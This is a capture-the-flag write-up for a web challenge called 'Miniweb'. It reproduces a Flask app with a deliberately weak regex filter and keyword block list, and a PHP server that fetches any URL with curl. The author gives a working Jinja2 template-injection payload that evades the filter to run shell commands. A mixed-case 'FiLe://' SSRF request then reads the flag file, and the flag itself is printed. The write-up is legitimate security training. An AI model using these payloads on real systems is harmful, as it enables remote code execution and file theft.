Miniweb

SSTI + SSRF challenge

given a link with the source code

nothing interesting in the actual web. Then I proceed to investigate the source code

there are two folders with these files inside. These are the important files

front-server/app.py:

from flask import Flask, request, render_template
from jinja2 import Template
import waf

app = Flask(__name__)

@app.route("/")
def index():

    name = request.args.get("name", "")
    return render_template("index.html", name=name)

@app.route('/sub')
def sub():
    if request.args.get("name", "") :
        try :
            name = request.args.get("name", "").strip()
            print(waf.sanitize_input(name))
            return Template(waf.sanitize_input(f"{name} has subscribed successfully")).render()
        except :
            return "error"

if __name__ == "__main__":
    app.run(debug=False,port=12345)

front-server/waf.py:

import re


def sanitize_input(input_string):

    input_string = re.sub(r"<script.*?>.*?</script>", "", input_string, flags=re.IGNORECASE)

    sql_patterns = [
        r"(--|#|;|\b(select|drop|insert|delete|update|union|or)\b)",
        r"(\b(0x[a-fA-F0-9]{2,8})\b)",
    ]

    for pattern in sql_patterns:
        input_string = re.sub(pattern, "BLOCKED", input_string)

    dangerous_chars = r"[+<>$%&\";]"
    for dc in dangerous_chars:
        input_string = input_string.replace(dc, "BLOCKED")

    dangerous_patterns = [
        r"(\b[a-zA-Z]'\s*'[a-zA-Z]\b)"
    ]

    for pattern in dangerous_patterns:
        input_string = re.sub(pattern, "BLOCKED", input_string)

    command_injections = ['subprocess', 'os', 'command', 'system', '\\','pty','eval','exec','sys', 'lower','upper', 'from', 'Popen','popen','read','run','check_output','execv','call','execvp','execle']
    for cmd in command_injections:
        input_string = input_string.replace(cmd, "BLOCKED")

    if "BLOCKED" in input_string :
        return "Blocked By WAF"
    else :
        return input_string

internal-server/src/index.php:

<?php
if (!isset($_GET['url'])) {
    die("Missing 'url' parameter.");
}

$url = $_GET['url'];

$parsed = parse_url($url);
if (in_array($parsed['scheme'], [
    'ftp',
    'ftps',
    'file',
    'php',
    'zlib',
    'data',
    'glob',
    'phar',
    'ssh2',
    'rar',
    'ogg',
    'expect',
    'zip'
])) {
    die("Invalid URL scheme.");
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);

$response = curl_exec($ch);

if (curl_errno($ch)) {
    echo "cURL error: " . curl_error($ch);
} else {
    echo htmlspecialchars($response);
}

curl_close($ch);
?>

looking at these source code, I see there's a SSTI vulnerability in app.py at this part

f"{name} has subscribed successfully"

which then will be sanitized by waf.py.

so to confirm this I put

/sub?name={{7*7}}

to the endpoint

and it worked. So I crafted a payload that bypasses all the waf

/sub?name={{joiner.__init__.__globals__.__builtins__.__import__('o'~'s')|attr('po'~'pen')('ls')|attr('re'~'ad')()}}

and it worked!

then I just need to modify the payload to read flag.txt file from internal-server

so the final payload:

/sub?name={{joiner.__init__.__globals__.__builtins__.__import__('o'~'s')|attr('po'~'pen')('curl php_internal:9000?url=FiLe:///flag.txt')|attr('re'~'ad')()}}

and got the flag

Flag: hacktoday{karena_roti_lebih_enak_dari_kunci_gang}

Last updated